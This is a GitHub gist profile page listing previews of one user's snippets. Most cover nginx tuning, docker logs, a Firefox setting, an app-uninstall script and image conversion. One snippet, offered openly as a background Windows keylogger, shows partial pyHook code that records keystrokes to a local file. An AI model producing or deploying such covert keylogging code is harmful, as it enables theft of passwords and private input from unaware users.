Skip to content

Instantly share code, notes, and snippets.

View dublado's full-sized avatar
📭
Send me a Telegram

Thiago Machado dublado

📭
Send me a Telegram
View GitHub Profile

Optimizing servers - nginx speedup & optimization guide

General Tuning

nginx uses a fixed number of workers, each of which handles incoming requests. The general rule of thumb is that you should have one worker for each CPU-core your server contains.

You can count the CPUs available to your system by running:

$ grep ^processor /proc/cpuinfo | wc -l
@dublado
dublado / dockergrep.sh
Created November 27, 2023 10:55 — forked from roylee0704/dockergrep.sh
how to grep docker log
docker logs nginx 2>&1 | grep "127."
# ref: http://stackoverflow.com/questions/34724980/finding-a-string-in-docker-logs-of-container
@dublado
dublado / firefox-disable-translation-site-popup.md
Created November 21, 2023 12:49
FIREFOX - disable translation site popup ask

11/2023

about:config
browser.translations.automaticallyPopup := false

@dublado
dublado / pi-hole-scheme.mermaid
Created November 20, 2023 20:31
pi hole scheme mermaid
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@dublado
dublado / keylogger.py
Last active November 16, 2023 08:18
How to create a keylogger that runs in background using python - windows only
#windows
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
@dublado
dublado / nginx.conf
Created November 15, 2023 21:27
nginx configuration virtual host with proxy
server {
listen 80 default_server;
server_name _;
location / {
# Proxy pass to Traefik
proxy_pass http://traefik-host:port;
# Standard proxy settings
proxy_http_version 1.1;
@dublado
dublado / uninstall_snap_camera_mac_osx.sh
Created October 31, 2023 23:36 — forked from JoshCheek/uninstall_snap_camera_mac_osx.sh
How to uninstall Snap Camera on Mac OS X
# these are reconstructed from a shell session without runnig them, so make
# sure you check that it's a sane thing to do before running it, I make no
# guarantees of fitness, and accept no liability. Run at your own risk.
sudo launchctl remove com.snap.SnapCameraRemover
rm -r ~/Library/Caches/Snap/
rm -r ~/Library/Caches/com.snap.SnapCamera/
rm -r ~/Library/Preferences/Snap/
rm ~/Library/Preferences/com.snap.SnapCamera.plist
rm ~/Library/Preferences/com.snap.Snap\ Camera.plist
sudo rm -rf /Applications/Snap\ Camera.app/
@dublado
dublado / sips.sh
Last active October 24, 2023 05:51
sips convert HEIC jpeg or PNG jpeg
for i in *.png; do sips -s format jpeg -s formatOptions 70 "${i}" --out "${i%png}jpg"; done
for i in *.HEIC; do sips -s format jpeg -s formatOptions 70 "${i}" --out "${i%HEIC}jpg"; done
@dublado
dublado / docker-compose-example.yml
Created October 14, 2023 16:35
docker compose logging options
#docker run --log-opt max-size=10m --log-opt max-file=3 <IMAGE_NAME>
version: '3'
services:
my-service:
image: <IMAGE_NAME>
logging:
options:
max-size: "10m"
max-file: "3"
@dublado
dublado / docker log size container.sh
Created October 14, 2023 16:28
docker log size container list
#!/bin/bash
# Get list of all container IDs
container_ids=$(docker ps -q)
# Iterate through each container ID
for id in $container_ids; do
# Get container name for better readability
container_name=$(docker inspect --format='{{.Name}}' $id | sed 's/\///')